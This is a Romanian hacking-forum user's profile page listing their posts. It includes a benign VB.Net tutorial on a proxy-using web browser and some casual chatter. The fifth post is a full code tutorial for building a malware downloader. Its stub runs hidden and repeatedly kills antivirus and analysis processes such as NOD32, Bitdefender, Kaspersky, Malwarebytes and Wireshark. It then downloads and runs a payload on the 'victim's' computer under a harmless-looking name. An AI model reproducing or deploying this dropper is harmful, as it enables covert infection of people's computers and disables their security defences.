Jump to content

vLaDdO96

Active Members
  • Posts

    107
  • Joined

  • Last visited

  • Days Won

    2

Everything posted by vLaDdO96

  1. da, ce explicatie sa va dau ? ala sunt eu. vreti sa dau edit la post acolo sa vedeti ca eu sunt ? edit : am dat edit la postul acela de pe tbo-s edit 2 : cititi si aici
  2. Acum o sa va ajut / invat cum sa facem un WebBrowser ce foloseste Proxy. O sa explit fiecare rand din cod. - Deci, ce este un WebBrowser ? un Browser, este acel software ce ajuta la primirea / trimiterea datelor pe internet. Ceva in gen : Internet explorer, Mozilla, Google Chrome, Opera si asa mai departe. Vom vedea ca in VB.Net, WebBrowserul are la baza engine-ul (motorul) al IE-ului (Internet Explorer). - Ce este un proxy ? Un server proxy este un server (un computer sau o aplicatie software) care actioneaza ca un intermediar intre requestul unui client utilizator (persoanele ce folosesc proxy) si un server. Mai simplu, o adresa proxy este o 'masca' a propriului IP, pentru ca noi sa nu fim identificati pe internet. [ I ] Design. 1. Creati un proiect nou, il numiti cum vreti, de preferabil ceva apropiat "WebBrowser". 2. Faceti un Form putin mai mare decat cel default. 3. a) Introduceti un WebBrowser in Form. Asigurati-va ca nu este selectata optiunea "Dock in parent container". Nu de alta, dar dupa butoanele o sa fie suprapuse peste pagina web, si o sa arate urat. Si, ca sa arate cat mai frumos, aduceti marginile WebBrowserului cat mai aproape de linia Form-ului, lasand un spatiu sus, pentru butoane. * Hint : ca sa puteti trage de marginea WebBrowser-ului fara sa intampinati greutati, sau sa se 'lipeasca' singur de margine lasand acel mic spatiu, tineti apasat ALT si trageti. Click (unul singur, nu dublu-click) pe WebBrowser si in dreapta, la proprietati, selectati "Anchor : Top, Bottom, Left, Right" c) Adaugati sase (6) butoane si doua textbox-uri. (TextBox1 = URL / TextBox2 = Proxy) [ II ] Coding 1. Mergem la fila Form1.vb - cea cu codurile. a) deasupra oricarei linii de cod, deasupra "Public Class Form1", introducem codul urmator : Imports System.Runtime.InteropServices - "System.Runtime.InteropServices" - ofera o colectie de metode de alocare de memorie negestionata, copierea block-urilor de memorie negestionata, conversia memoriei precum si alte metode folosite in interactiunea cu tipuri de memorie. Ca orice functie noua, audaugam codul urmator : <Runtime.InteropServices.DllImport("wininet.dll", SetLastError:=True)> _ Private Shared Function InternetSetOption(ByVal hInternet As IntPtr, ByVal dwOption As Integer, _ ByVal lpBuffer As IntPtr, ByVal lpdwBufferLength As Integer) As Boolean End Function - "<Runtime.InteropServices.DllImport("wininet.dll", SetLastError:=True)>" - importa dll-ul (dynamic library link) "wininet.dll" - "Private Shared Function InternetSetOption" - creeaza o noua functie numita "InternetSetOption" c) ca la pasul precedent, adaugam o structura noua : Public Structure Struct_INTERNET_PROXY_INFO Public dwAccessType As Integer Public proxy As IntPtr Public proxyBypass As IntPtr End Structure - "Public Structure Struct_INTERNET_PROXY_INFO" - am creat structura "Struct_INTERNET_PROXY_INFO" - "Public dwAccessType As Integer" - declaram dsAccessType ca fiind integer - "Public proxy As IntPtr" - declaram proxy ca fiind IntPtr - ce este acest IntPtr ? este un tip specific platformei care este folosit pentru a reprezenta un indicator sau o manevrare. daca ne uitam mai atent la acest IntPtr, a ce seamana ? a integer + pointer - "Public proxyBypass As IntPtr" - declaram proxyBypass ca fiind IntPtr (explicat un rand mai sus) d) la fel, adaugam inca o functie : Private Sub RefreshIESettings(ByVal strProxy As String) Const INTERNET_OPTION_PROXY As Integer = 38 Const INTERNET_OPEN_TYPE_PROXY As Integer = 3 Dim struct_IPI As Struct_INTERNET_PROXY_INFO struct_IPI.dwAccessType = INTERNET_OPEN_TYPE_PROXY struct_IPI.proxy = Marshal.StringToHGlobalAnsi(strProxy) struct_IPI.proxyBypass = Marshal.StringToHGlobalAnsi("local") Dim intptrStruct As IntPtr = Marshal.AllocCoTaskMem(Marshal.SizeOf(struct_IPI)) Marshal.StructureToPtr(struct_IPI, intptrStruct, True) Dim iReturn As Boolean = InternetSetOption(IntPtr.Zero, INTERNET_OPTION_PROXY, _ intptrStruct, System.Runtime.InteropServices.Marshal.SizeOf(struct_IPI)) End Sub - "Private Sub RefreshIESettings" - creearea comenzii "RefreshIESettings" - "(ByVal strProxy As String)" - declararea de la inceputul functiei a "strProxy" ca string - "Const INTERNET_OPTION_PROXY As Integer = 38" - declararea constantei "INTERNET_OPTION_PROXY" ca integer = 38 - "Const INTERNET_OPEN_TYPE_PROXY As Integer = 3" - declararea constantei "INTERNET_OPEN_TYPE_PROXY" ca integer = 3 - "Dim struct_IPI As Struct_INTERNET_PROXY_INFO" - declararea "struct_IPI" ca fiind "Struct_INTERNET_PROXY_INFO" = o structura a informatiei proxy-ului - "struct_IPI.dwAccessType = INTERNET_OPEN_TYPE_PROXY" - egalarea structurii IPI de acces cu "INTERNET_OPEN_TYPE_PROXY" = proxy de tip deschis - "struct_IPI.proxy = Marshal.StringToHGlobalAnsi(strProxy)" - egalarea structurii IPI de proxy cu "Marshal.StringToHGlobalAnsi(strProxy)" - Marshal, la fel ca IntPtr, se ocupa cu memoria (daca ati uitat <deja> citit putin mai sus la IntPtr); "StringToHGlobalAnsi(strProxy)" - conversia de la string la global ansi a strProxy-ului. - "struct_IPI.proxyBypass = Marshal.StringToHGlobalAnsi("local")" - egalarea structurii IPI de proxy bypass cu "Marshal.StringToHGlobalAnsi("local")" - cum as putea zice eu mai simplu ... conversia string to global ansi in mod "local" prin managementul memoriei. nu-i asa ca este simplu ? ... - "Dim intptrStruct As IntPtr = Marshal.AllocCoTaskMem(Marshal.SizeOf(struct_IPI))" - declararea intptrStruct (structurii integer+pointer) ca IntPtr (integer+pointer), egala cu "Marshal.AllocCoTaskMem(Marshal.SizeOf(struct_IPI)" - prin functia Marshal de management al memoriei, alocarea acesteia la "Marshal.SizeOf(struct_IPI)" - SizeOf = marimea structurii IPI (struct_IPI) - definita mai sus. - "Marshal.StructureToPtr(struct_IPI, intptrStruct, True)" - prin functia Marshal, structura catre pointer (StructureToPtr) este setata astfel : structura IPI (struct_IPI) catre structura integer to pointer (intptrStruct) este adevarata (True) - "Dim iReturn As Boolean = InternetSetOption(IntPtr.Zero, INTERNET_OPTION_PROXY, _ intptrStruct, System.Runtime.InteropServices.Marshal.SizeOf(struct_IPI))" - definirea iReturn ca fiind Boolean (boolean este un sistem complex pentru operatiile logice), egal cu "InternetSetOption" - comanda care seteaza optiunile engine-ului browser-ului - "(IntPtr.Zero, INTERNET_OPTION_PROXY, _ intptrStruct, System.Runtime.InteropServices.Marshal.SizeOf(struct_IPI))" - aici IntPtr.Zero, optiunea proxy a engine-ului, structura integer to pointer, iau marimea structurii IPI prin managementul memoriei realizat de "System.Runtime.InteropServices.Marshal.SizeOf" e) am terminat cu ce era mai greu. acum sa trecem la lucrurile usoare. pentru inceput, dublu click pe Button1 (Go), si introducem urmatoarele : WebBrowser1.Navigate(TextBox1.Text) - "WebBrowser1.Navigate" - da comanda de navigare catre WebBrowser - "(TextBox1.Text)" - WebBrowser-ul va naviga in textul introdus in TextBox1. f) dublu-click pe Button2 (Refresh) si introduceti codul urmator : WebBrowser1.Refresh() - da comanda de Refresh() catre Browser g) dublu-click pe Button3 (Back) WebBrowser1.GoBack() - da comanda Browser-ului sa mearga inapoi la pagina precedenta h) dublu-click pe BUtton4 (Forward) WebBrowser1.GoForward() - da comanda Browser-ului sa mearga la pagina din fata (atunci cand ati fost pe o pagina, ati dat Back si vreti inapoi pe pagina aceea) i) acum, dublu click pe Button5 (Set proxy) RefreshIESettings(TextBox2.Text) WebBrowser1.Refresh() - "RefreshIESettings" - va mai aduceti aminte de el ? este functia aceea imensa. asadar, ce face? prin toate liniile acelea de cod din aceasta functie, ea seteaza proxy-ul - "(TextBox2.Text)" - este sursa proxy-ului - "WebBrowser1.Refresh()" - dupa setarea proxy-ului, paginii i-a fost dat un refresh, pentru a se seta in totalitate. (pentru a nu fi nevoie de un manual refresh) j) dublu click pe Button6 (Delete proxy) RefreshIESettings(":") WebBrowser1.Refresh() - "RefreshIESettings" - la fel, seteaza proxy-ul - "(":")" - ce inseamna ? la proxy, este ip:port - aici este nimic:nimic. de ce nul la nul ? pentru a reseta proxy-ul, deci pentru a-l sterge si pentru a merge pe adresa voastra IP. Felicitari, sunteti gata cu un WebBrowser ce foloseste Proxy ! Copyright tut © pr00f = eu /edit : scuze pentru stricarea paginii
  3. "baiatul i-a dat purcelusul si instrumentul sau" - deci nu era atasat. piggy ftw
  4. culmea, sunt utilizator al NOD32-ului doar ca sunt posesor ar Smart Security-ului 4 (antivirus + firewall + functii smechere, uu) , nu numai al av-ului, si sunt cateva chestii - nu am ekrn.exe la procese (il aveam cand aveam doar antivir) DAR (intotdeauna este un 'dar') chiar daca inchid procesul, inca detecteaza fisierele infectate. o sa caut o modalitate sa inchid procesul in totalitate.
  5. Aici, acum, in momentul de fata si in topicul respectiv o sa va arat cum putem face un downloader + functia de process kill. Partea I. [ I ] Mai intai sa explic ce face fiecare. 1. Downloaderul - este format din doua executabile - un builder si un stub (cateodata builderul este si pe post de stub). Ce face fiecare lucru in parte ? - Builder-ul : introducem datele necesare cum ar fi : a) URL-ul fisierului respectiv gen http://www.exemplu.ro/fisier.exe (de retinut ca de obicei nu conteaza extensia fisierului, atata timp cat este salvat in PC-ul victimei cu aceeasi extensie). path-ul fisierului - unde sa fie salvat fisierul in PC-ul victimei. Exemplu : C:\Windows\Boot\scr32.exe - folositi un nume care nu bate la ochi gen 'jocuri_miniclip.exe'. c) numele fisierului - aici introduceti numele fisierului care va fi salvat in PC-ul victimei. - Stub-ul : este un fisier continand o bucata de cod, pe care o vom folosi in crearea fisierului rezultat, utilizand si datele introduse in builder. * de obicei, stub-urile sunt invizibile (opacity = 0%), nu apar in Taskbar [pentru necunoscatori > bara ce contine butonul Start (Windows) si cea cu butonul catre meniu (Linux - scuzati exprimarea greoaie, nu sunt utilizator)], si (majoritatea) apar in Task Manager la tab-ul Processes Deci ce face downloader-ul pana la urma ? Inchide antivirusul prin process killing (inchide procesul cu numele antivirusului), descarca fisierul introdus de voi si intr-un final in porneste. Simplu ! [ II ] Acum sa trecem la partea de codare ! 1. Builder-ul. a) cream un form. adaugam trei Label-uri*), trei Textbox-uri si un Button. *) - optional * asezarea lor depinde de voi. c) scrierea + explicarea codului (na ca am ajuns si aici) i) deasupra [Public class Form1] introducem codul urmator : Imports System.IO - ce face acest cod ? acest cod ne este necesar in VB.Net atunci cand folosim File Handling-ul - atunci cand scriem fisiere (modificarea Stub-ului). ii) sub [Public class Form1] introducem codul urmator : Dim stub, text1, text2, text3 As String Const Filesplit = "*pr00f*" - codul "Dim" ne ajuta la declararea variabilelor "stub", "text1", "text2" si "text3" - fara aceasta declaratie nu am putea folosi expresia de "stub" sau "text1", etc, fara intampinarea unei erori. - codul "Const Filesplit" ne ajuta sa declaram o constanta - fragmentul "= "*pr00f*"" a folosit la declararea constantei "Filesplit". Asadar, va arata cam asa codul pana acum : iii) click pe Button1 iv) adaugam simplu, codul urmator text1 = TextBox1.Text text2 = TextBox2.Text text3 = TextBox3.Text - aici, variabilele declarate la inceputul Form-ului, sunt folosite pentru a 'egala' fiecare "text" cu Textbox-ul lui. v) sub codul de mai devreme, adaugam urmatorul : Try FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default) stub = Space(LOF(1)) Catch stubload As Exception End Try - codul Try / End Try la propriu 'incearca' sa faca codul introdus in el. - codul "FileOpen" deschide fisierul "Stub.exe" in modul binar (OpenMode.Binary), cu accesul de Read (OpenAccess.Read - il citeste). - variabila "stub" declarata la inceput, este 'egalata' si ea, aici. vi) introducem codul : FileGet(1, stub) FileClose(1) - "FileGet" obtine fisierul - "FileClose" il inchide. vii) in cazul in care deja exista un fisier cu numele celui build-at (facut) - pasul urmator - si daca vrem (si da, vrem) introducem codul urmator : If File.Exists("Downloader server.exe") Then My.Computer.FileSystem.DeleteFile("Downloader server.exe") End If - declaratia If / End If ne ajuta sa folosim un cod daca ceva este cum precizam noi. in cazul de fata, daca fisierul "Downloader server.exe" exista ( File.Exists ), atunci sterge fisierul deja existent [ My.Computer.FileSystem.DeleteFile("Downloader server.exe") ] . viii) ultimul pas si cel mai important - deschiderea fisierului creat - Downloader server.exe - si scrierea lui. FileOpen(1, Application.StartupPath & "\Downloader server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default) FilePut(1, stub & Filesplit & text1 & Filesplit & text2 & Filesplit & text3 & Filesplit) FileClose(1) MsgBox("Downloader server built successfully.", MsgBoxStyle.Information) - "FileOpen" deschide fisierul scris, in modul binar, de data aceasta cu acces de citit si scris. - "FilePut" introduce stub-ul, filesplit-ul si variabilele "text" Felicitari, sunteti gata cu builderul ! Partea II. [ I ] Stub-ul 1. Creeam un form (bineinteles, mai intai un nou proiect) 2. In dreapta, la proprietatile Form-ului, setam Opacity - 0% si Show in Taskbar - False 3. Introduceti un Timer. 4. Coding. a) dublu click pe Form. ca la Builder, prima linie a codului trebuie sa fie urmatoarea : Imports System.IO - am explicat-o mai sus, daca nu stiti ce face, cititi acolo. c) sub "Public Class Form1" introducem : Dim options(), text1, text2, text3 As String Const Filesplit = "*pr00f*" - acum observam ca ne lipseste variabila "stub", deoarece nu mai avem nevoie de ea, dar ne-a aparut variabila "options()" - asigurati-va ca filesplit-ul sa fie identic cu cel de la builder - altfel n-o sa va mearga ! d) la Form1_Load introducem urmatoarele : Me.Visible = False Me.Hide() - aici ne asiguram ca Form-ul stub-ului nu o sa fie vizibil - chiar daca Form-ul nu este vizibil, facem stub-ul sa dispara, la propriu prin comanda "Me.Hide". e) pornim timer-ul : Timer1.Start - nu necesita explicatie codul asta f) deschidem fisierul : FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared) - codul "FileOpen" este explicat mai sus, la fel, recititi in caz ca ati uitat ce face. g) folosim variabilele si obtinem fisierul : text1 = Space(LOF(1)) text2 = Space(LOF(1)) text3 = Space(LOF(1)) FileGet(1, text1) 'options(1) - Textbox1 ileGet(1, text2) 'options(2) - Textbox2 FileClose(1) - variabilele in continuare vor fi folosite in ordinea in care sunt 'egalate' - am uitat sa precizez ce face comanda "Space(LOF(1))" - este necesara citirii / scrierii fisierelor in modul binar. h) 'egalarea' variabilei "options()" : options = Split(text1, Filesplit) FileClose(1) i) acum, codul necesar unui downloader : My.Computer.Network.DownloadFile(options(1), options(2) & options(3)) Process.Start(options(2) & options(3)) - "My.Computer.Network.DownloadFile" - cu un pic de engleza ne dam seama ca aceasta este comanda vitala - descarca fisierul. - "(options(1), options(2) & options(3))" : options(1) este URL-ul de unde va descarca fisierul, options(2) este path-ul unde va fi descarcat fisierul, iar options(3) este numele fisierului. j) crearea unui nou Sub. umm, crearea unei noi comenzi, sa fiu mai explicit. intre End Sub-ul de la Form1_Load si End Class, introducem codul urmator : Public Sub killProcess(ByRef strProcessToKill As String) Dim proc() As Process = Process.GetProcesses For i As Integer = 0 To proc.GetUpperBound(0) If proc(i).ProcessName = strProcessToKill Then proc(i).Kill() End If Next End Sub - Public Sub declara o noua comanda - "killProcess" - "Dim proc() As Process = Process.GetProcesses" : declaram proc() ca fiind proces, egalat cu Process.GetProcesses, care obtine procesele. - "proc.GetUpperBound" : formeaza un array (o lista) cu procesele. - "If proc(i).ProcessName = strProcessToKill" : selectarea procesului pentru inchidere - "proc(i).Kill()" : inchiderea procesului in sine. k) asigurati-va ca Timer1 are un interval destul de mic (1 - 10 milisecunde), pentru a fi mai eficace. dublu-click pe dansul (Timer1) si introduceti codul urmator : killProcess("keyscrambler") killProcess("egui") killProcess("bdagent") killProcess("outpost") killProcess("npfmsg") killProcess("ollydbg") killProcess("avp") killProcess("mbam") killProcess("anubis") killProcess("wireshark") - dupa cum vedeti, acestea sunt numele catorva antivirusi / software-uri antimalware ca Keyscrambler, MalwareBytes' AntiMalware si Wireshark. - de retinut : la fiecare 1 milisecunda (sau ce interval ati pus voi la Timer), acel Timer va inchide procesele respective din lista. Felicitari, sunteti gata si cu Stub-ul ! © pr00f = eu
  6. vLaDdO96

    Saw 6

    are ketchup la bot ?i e legat cu cablu' de date de Sony Ericsson. sensul adev?rat al filmului românesc low-budget.
  7. da' tu pu?? mic?, cine esti ? ca nici tu nu esti mai breaz decat ala din poza. ce te apuci asa sa dai detalii (poate adevarate, poate nu) despre cineva?
  8. aveam ratia 5.700 dar am descarcat ceva si a scazut ^^
  9. inceputul ratiei tale se vede; este scrisa cu rosu. asta inseamna ca e sub 1.000
  10. iti iubesti fanii, nebunule
  11. tin sa precizez ca acest modem NU merge pe Windows7 x64. am incercat pe calculatorul meu si nimic. imi merge doar pe acela vechi cu Win XP x32. :confused: specialistii lu' peste de la RDS ca au ei ceva cu sistemele noi pe x64 :mad:
×
×
  • Create New...